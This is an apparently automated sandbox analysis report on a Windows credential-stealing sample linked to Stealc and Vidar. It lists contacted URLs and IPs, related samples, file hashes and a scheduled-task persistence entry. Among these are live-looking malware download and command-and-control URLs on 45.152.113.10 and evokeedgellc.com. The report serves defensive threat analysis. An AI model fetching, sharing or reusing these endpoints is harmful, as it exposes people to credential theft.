https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://evokeedgellc.com/app/l2.exe0.phprefox	0%	Avira URL Cloud	safe
http://ocsp.entrust.net02	0%	Avira URL Cloud	safe
http://ocsp.entrust.net03	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/freebl3.dll	100%	Avira URL Cloud	malware
http://ocsp.sectigo.com0	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.php5X	100%	Avira URL Cloud	malware
https://evokeedgellc.com/app/l2.exe070e3b305c8603360edcbdcfa92e1b3ad658-release	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/sqlite3.dll	100%	Avira URL Cloud	malware
http://45.152.113.10	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/nss3.dllzz&V	100%	Avira URL Cloud	malware
https://evokeedgellc.com/app/l2.exe00Start0	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/vcruntime140.dll	100%	Avira URL Cloud	malware
http://45.152.113.10/92335b4816f77e90.phpop	100%	Avira URL Cloud	malware
https://evokeedgellc.com/	0%	Avira URL Cloud	safe
http://crl.entrust.net/ts1ca.crl0	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/softokn3.dll	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/mozglue.dll	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://www.sqlite.org/copyright.html.	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.phpe	100%	Avira URL Cloud	malware
https://sectigo.com/CPS0	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.phpp	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://www.entrust.net/rpa03	0%	Avira URL Cloud	safe
http://aia.entrust.net/ts1-chain256.cer01	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.phpllets	100%	Avira URL Cloud	malware
http://45.152.113.10/92335b4816f77e90.php	100%	Avira URL Cloud	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	Avira URL Cloud	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/sqlite3.dllb	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/msvcp140.dll	100%	Avira URL Cloud	malware
http://45.152.113.10/	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/vcruntime140.dllK	100%	Avira URL Cloud	malware
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/msvcp140.dllB	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/nss3.dll	100%	Avira URL Cloud	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	Avira URL Cloud	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe
https://www.entrust.net/rpa0	0%	Avira URL Cloud	safe
https://evokeedgellc.com/app/l2.exe	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/sqlite3.dllz	100%	Avira URL Cloud	malware
http://crl.entrust.net/2048ca.crl0	0%	Avira URL Cloud	safe
http://45.152.113.10amData	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
evokeedgellc.com	198.54.120.231	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.152.113.10/15a25e53742510fe/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/92335b4816f77e90.php	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/msvcp140.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/nss3.dll	true	Avira URL Cloud: malware	unknown
https://evokeedgellc.com/app/l2.exe	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	KJDAECAE.6.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, KJDAECAE.6.dr	false	URL Reputation: safe	unknown
https://evokeedgellc.com/app/l2.exe0.phprefox	RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.php5X	RegAsm.exe, 00000006.00000002.2195683776.000000000152C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.sectigo.com0	CAKKJKKECF.exe, 0000000A.00000003.2194201588.000000000285B000.00000004.00000020.00020000.00000000.sdmp, oobeldr.exe.10.dr, l2[1].exe.6.dr, CAKKJKKECF.exe.6.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	file.exe	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net02	file.exe	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	EBAAFCAFCBKFHJJJKKFH.6.dr	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	false	Avira URL Cloud: safe	unknown
https://evokeedgellc.com/app/l2.exe070e3b305c8603360edcbdcfa92e1b3ad658-release	RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, KJDAECAE.6.dr	false	URL Reputation: safe	unknown
http://45.152.113.10	RegAsm.exe, 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/nss3.dllzz&V	RegAsm.exe, 00000006.00000002.2195683776.0000000001515000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://evokeedgellc.com/app/l2.exe00Start0	RegAsm.exe, 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.phpop	RegAsm.exe, 00000006.00000002.2221689478.0000000034640000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, KJDAECAE.6.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/ts1ca.crl0	file.exe	false	Avira URL Cloud: safe	unknown
https://evokeedgellc.com/	RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000006.00000002.2222256503.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2209253604.000000001B7FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.phpe	RegAsm.exe, 00000006.00000002.2221689478.0000000034640000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.6.dr, mozglue.dll.6.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	CAKKJKKECF.exe, 0000000A.00000003.2194201588.000000000285B000.00000004.00000020.00020000.00000000.sdmp, oobeldr.exe.10.dr, l2[1].exe.6.dr, CAKKJKKECF.exe.6.dr	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.phpp	RegAsm.exe, 00000006.00000002.2221689478.0000000034640000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	KJDAECAE.6.dr	false	Avira URL Cloud: safe	unknown
http://www.entrust.net/rpa03	file.exe	false	Avira URL Cloud: safe	unknown
http://aia.entrust.net/ts1-chain256.cer01	file.exe	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, KJDAECAE.6.dr	false	URL Reputation: safe	unknown
http://45.152.113.10/92335b4816f77e90.phpllets	RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, KJDAECAE.6.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/15a25e53742510fe/sqlite3.dllb	RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	KJDAECAE.6.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	CAKKJKKECF.exe, 0000000A.00000003.2194201588.000000000285B000.00000004.00000020.00020000.00000000.sdmp, oobeldr.exe.10.dr, l2[1].exe.6.dr, CAKKJKKECF.exe.6.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/15a25e53742510fe/msvcp140.dllB	RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/vcruntime140.dllK	RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	CAKKJKKECF.exe, 0000000A.00000003.2194201588.000000000285B000.00000004.00000020.00020000.00000000.sdmp, oobeldr.exe.10.dr, l2[1].exe.6.dr, CAKKJKKECF.exe.6.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	false	Avira URL Cloud: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	RegAsm.exe, 00000006.00000002.2215549057.00000000279B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000006.00000002.2195683776.000000000157B000.00000004.00000020.00020000.00000000.sdmp, EBAAFCAFCBKFHJJJKKFH.6.dr	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/15a25e53742510fe/sqlite3.dllz	RegAsm.exe, 00000006.00000002.2195683776.0000000001545000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org	AAEBAKKJKKEBKFIDBFBAKJJDHJ.6.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	KJDAECAE.6.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	file.exe	false	Avira URL Cloud: safe	unknown
http://45.152.113.10amData	RegAsm.exe, 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.entrust.net/rpa0	file.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.152.113.10	unknown	Russian Federation		138576	CODECCLOUD-AS-APCodecCloudHKLimitedHK	true
198.54.120.231	evokeedgellc.com	United States		22612	NAMECHEAP-NETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1508869
Start date and time:	2024-09-10 19:35:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/27@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 82 Number of non-executed functions: 126
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:36:52	API Interceptor	10014446x Sleep call for process: oobeldr.exe modified
19:36:19	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.152.113.10	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10/92335b4816f77e90.php
198.54.120.231	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	PM7K6PbAf0.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Neoreklami, PureLog Stealer, RedLine, Stealc	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
evokeedgellc.com	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NAMECHEAP-NETUS	September Order.exe	Get hash	malicious	FormBook	Browse	199.192.19.19
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231
	fattigdomsrapporten.exe	Get hash	malicious	AgentTesla	Browse	63.250.42.136
	EGCS-875-S5-SMO M2A.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
	PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Get hash	malicious	FormBook	Browse	162.0.239.141
	PM7K6PbAf0.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Neoreklami, PureLog Stealer, RedLine, Stealc	Browse	198.54.120.231
	OjKmJJm2YT.exe	Get hash	malicious	Simda Stealer	Browse	162.255.119.102
	M62eQtS9qP.exe	Get hash	malicious	Simda Stealer	Browse	162.255.119.102
	https://vigilantesecurity.ca/index.shtml	Get hash	malicious	Unknown	Browse	68.65.122.100
	PO00211240906.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
CODECCLOUD-AS-APCodecCloudHKLimitedHK	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	PM7K6PbAf0.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Neoreklami, PureLog Stealer, RedLine, Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	CVE-2024-38143 poc.exe	Get hash	malicious	Codoso Ghost, UACMe	Browse	38.147.172.126
	Setup.exe	Get hash	malicious	Go Injector, Stealc	Browse	45.152.114.50

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	198.54.120.231
	file.vbs	Get hash	malicious	Unknown	Browse	198.54.120.231
	SecuriteInfo.com.suspected.of.Trojan.Downloader.gen.22589.10721.exe	Get hash	malicious	Unknown	Browse	198.54.120.231
	cmd.exe	Get hash	malicious	Unknown	Browse	198.54.120.231
	cmd.exe	Get hash	malicious	BEAST	Browse	198.54.120.231
	rfq_final_product_purchase_order_import_list_10_09_2024_00000024.cmd	Get hash	malicious	GuLoader, Remcos	Browse	198.54.120.231
	X8VbtniLpf.exe	Get hash	malicious	Remcos, GuLoader	Browse	198.54.120.231
	PO#940894.exe	Get hash	malicious	Azorult, GuLoader	Browse	198.54.120.231
	QOaboeP8al.exe	Get hash	malicious	DarkCloud	Browse	198.54.120.231

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	ePfP5eGC0b.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	XpCyBwDzEt.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, DanaBot, PureLog Stealer, RedLine	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\CAKKJKKECF.exe	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse

Created / dropped Files

C:\ProgramData\AAEBAKKJKKEBKFIDBFBAKJJDHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAAAFCAKKKFBFIDGDBFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKKJKKECF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gHPYUEh253.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
